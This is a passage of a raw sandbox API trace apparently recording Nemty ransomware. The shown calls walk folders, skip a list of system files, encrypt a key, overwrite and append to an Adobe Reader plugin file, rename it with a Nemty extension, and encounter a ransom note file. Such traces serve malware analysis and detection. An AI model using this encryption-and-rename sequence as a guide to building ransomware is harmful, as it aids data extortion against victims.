HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.038] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.POL", cAlternateFileName="WINDOW~1.POL")) returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2=".") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="..") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="...") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="windows") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="$RECYCLE.BIN") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="rsa") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="NTDETECT.COM") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="ntldr") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="MSDOS.SYS") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="IO.SYS") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="boot.ini") returned 1 [0192.038] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="boot.ini") returned 1 [0192.039] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="AUTOEXEC.BAT") returned 1 [0192.039] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="ntuser.dat") returned 1 [0192.039] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="desktop.ini") returned 1 [0192.039] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="CONFIG.SYS") returned 1 [0192.039] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="RECYCLER") returned 1 [0192.039] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="BOOTSECT.BAK") returned 1 [0192.039] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="bootmgr") returned 1 [0192.039] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="programdata") returned 1 [0192.039] lstrcmpiW (lpString1="WindowsMedia.POL", lpString2="appdata") returned 1 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.POL", lpUsedDefaultChar=0x0) returned 16 [0192.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0192.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.POL", lpUsedDefaultChar=0x0) returned 16 [0192.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0192.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.POL", lpUsedDefaultChar=0x0) returned 16 [0192.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.POL", lpUsedDefaultChar=0x0) returned 16 [0192.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.040] Sleep (dwMilliseconds=0x5) [0192.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x261e0450, dwHighDateTime=0x1d561e8)) [0192.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x261e0450, dwHighDateTime=0x1d561e8)) [0192.049] GetLastError () returned 0x0 [0192.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.050] GetLastError () returned 0x0 [0192.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.050] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.050] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="dl9engqTvWL4IL5948OlYwCFwp8mjFTBUj5LBiLrB0Pjo0eA8smwUHL4LxY/TfQs\r\nCAj+TqgCBU5SWRr9oyUBvxu+tLy5eNWCSfsgvkH6QIc46hbB0EaKkOMue0jteTGz\r\nmFYzcgKPNkyUR9dWnGL3aSz8GQdtafvrzzvDOL5wUVyjn7JGfsSCtr5evlzplzzX\r\nGHgw5sk6fspIcbjWnrDX/SRsBNNgfyYr7MIvh59cWgiDS/Iw6k5EUrqIHO4r+NrD\r\nzsAD081VEtzOoxzMtA24WT+UqQjMyB5Ln2L/NUaJJAiwlzVW2HZ96hRbR8CAQvRl\r\nXmeXkc7/OemYkm23FsS1kA==\r\n", pcchString=0x653e29c) returned 1 [0192.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\WindowsMedia.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\windowsmedia.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.050] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.051] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.051] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.053] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.053] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.053] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.053] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.053] CloseHandle (hObject=0x2f0) returned 1 [0192.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.054] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\WindowsMedia.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\windowsmedia.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\WindowsMedia.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\windowsmedia.pol._nemty_kgobjgd_")) returned 1 [0192.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.055] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26121d70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26121d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26121d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0192.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0192.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0192.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.056] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26121d70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26121d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26121d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0192.056] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.056] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0192.056] lstrcmpiW (lpString1="MPP_RUM", lpString2=".") returned 1 [0192.056] lstrcmpiW (lpString1="MPP_RUM", lpString2="..") returned 1 [0192.056] lstrcmpiW (lpString1="MPP_RUM", lpString2="...") returned 1 [0192.056] lstrcmpiW (lpString1="MPP_RUM", lpString2="windows") returned -1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="$RECYCLE.BIN") returned 1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="rsa") returned -1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="NTDETECT.COM") returned -1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="ntldr") returned -1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="MSDOS.SYS") returned -1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="IO.SYS") returned 1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="boot.ini") returned 1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="boot.ini") returned 1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="AUTOEXEC.BAT") returned 1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="ntuser.dat") returned -1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="desktop.ini") returned 1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="CONFIG.SYS") returned 1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="RECYCLER") returned -1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="BOOTSECT.BAK") returned 1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="bootmgr") returned 1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="programdata") returned -1 [0192.057] lstrcmpiW (lpString1="MPP_RUM", lpString2="appdata") returned 1 [0192.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_RUM", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, 